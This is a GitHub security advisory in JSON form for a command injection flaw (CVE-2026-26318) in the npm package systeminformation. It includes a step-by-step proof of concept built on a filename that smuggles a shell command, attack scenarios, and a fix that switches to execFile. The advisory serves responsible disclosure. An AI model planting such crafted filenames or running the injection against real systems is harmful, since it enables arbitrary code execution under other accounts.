{
  "credits": [
    {
      "type": "reporter",
      "user": {
        "avatar_url": "https://avatars.githubusercontent.com/u/64470115?v=4",
        "events_url": "https://api.github.com/users/Sanu1999/events{/privacy}",
        "followers_url": "https://api.github.com/users/Sanu1999/followers",
        "following_url": "https://api.github.com/users/Sanu1999/following{/other_user}",
        "gists_url": "https://api.github.com/users/Sanu1999/gists{/gist_id}",
        "gravatar_id": "",
        "html_url": "https://github.com/Sanu1999",
        "id": 64470115,
        "login": "Sanu1999",
        "node_id": "MDQ6VXNlcjY0NDcwMTE1",
        "organizations_url": "https://api.github.com/users/Sanu1999/orgs",
        "received_events_url": "https://api.github.com/users/Sanu1999/received_events",
        "repos_url": "https://api.github.com/users/Sanu1999/repos",
        "site_admin": false,
        "starred_url": "https://api.github.com/users/Sanu1999/starred{/owner}{/repo}",
        "subscriptions_url": "https://api.github.com/users/Sanu1999/subscriptions",
        "type": "User",
        "url": "https://api.github.com/users/Sanu1999",
        "user_view_type": "public"
      }
    }
  ],
  "cve_id": "CVE-2026-26318",
  "cvss": {
    "score": 8.8,
    "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  },
  "cvss_severities": {
    "cvss_v3": {
      "score": 8.8,
      "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
    },
    "cvss_v4": {
      "score": 0.0,
      "vector_string": null
    }
  },
  "cwes": [
    {
      "cwe_id": "CWE-78",
      "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
    }
  ],
  "description": "# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation\n\n**Package:** systeminformation (npm)  \n**Tested Version:** 5.30.7  \n**Affected Platform:** Linux  \n**Author:** Sebastian Hildebrandt  \n**Weekly Downloads:** ~5,000,000+  \n**Repository:** https://github.com/sebhildebrandt/systeminformation  \n**Severity:** Medium  \n**CWE:** CWE-78 (OS Command Injection)  \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js — lines 770-776\n\nexec('locate bin/postgres', (error, stdout) => {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n').sort();\n    if (postgresqlBin.length) {\n      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {\n        // parses version string...\n      });\n    }\n  }\n});\n```\n\nHere's what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ ' -V'`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 — Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer    plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 — Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 — Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split('\\n').sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate\n  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n];\nconsole.log('Sorted:', paths.sort());\nconsole.log('Selected (last):', paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 — Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require('systeminformation');\n\n// This is a normal, innocent API call\nsi.versions('postgresql').then(data => {\n  console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x                         →  fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES\n/bin/postgres -V                   →  runs normally, returns version\n```\n\n### Step 5 — Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 — Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account.\n\n### Scenario 2 — CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 — Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require('child_process');\n\nexec('locate bin/postgres', (error, stdout) => {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n')\n      .filter(p => p.trim().length > 0)\n      .sort();\n    if (postgresqlBin.length) {\n      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {\n        // ... parse version\n      });\n    }\n  }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split('\\n')\n  .filter(p => safePath.test(p.trim()))\n  .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io",
  "ghsa_id": "GHSA-5vv4-hvf7-2h46",
  "github_reviewed_at": "2026-02-18T22:36:50Z",
  "html_url": "https://github.com/advisories/GHSA-5vv4-hvf7-2h46",
  "identifiers": [
    {
      "type": "GHSA",
      "value": "GHSA-5vv4-hvf7-2h46"
    },
    {
      "type": "CVE",
      "value": "CVE-2026-26318"
    }
  ],
  "nvd_published_at": null,
  "published_at": "2026-02-18T22:36:50Z",
  "references": [
    "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46",
    "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107",
    "https://github.com/advisories/GHSA-5vv4-hvf7-2h46"
  ],
  "repository_advisory_url": "https://api.github.com/repos/sebhildebrandt/systeminformation/security-advisories/GHSA-5vv4-hvf7-2h46",
  "severity": "high",
  "source_code_location": "https://github.com/sebhildebrandt/systeminformation",
  "summary": "Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation",
  "type": "reviewed",
  "updated_at": "2026-02-18T22:36:51Z",
  "url": "https://api.github.com/advisories/GHSA-5vv4-hvf7-2h46",
  "vulnerabilities": [
    {
      "first_patched_version": "5.31.0",
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "vulnerable_functions": [],
      "vulnerable_version_range": "<= 5.30.7"
    }
  ],
  "withdrawn_at": null
}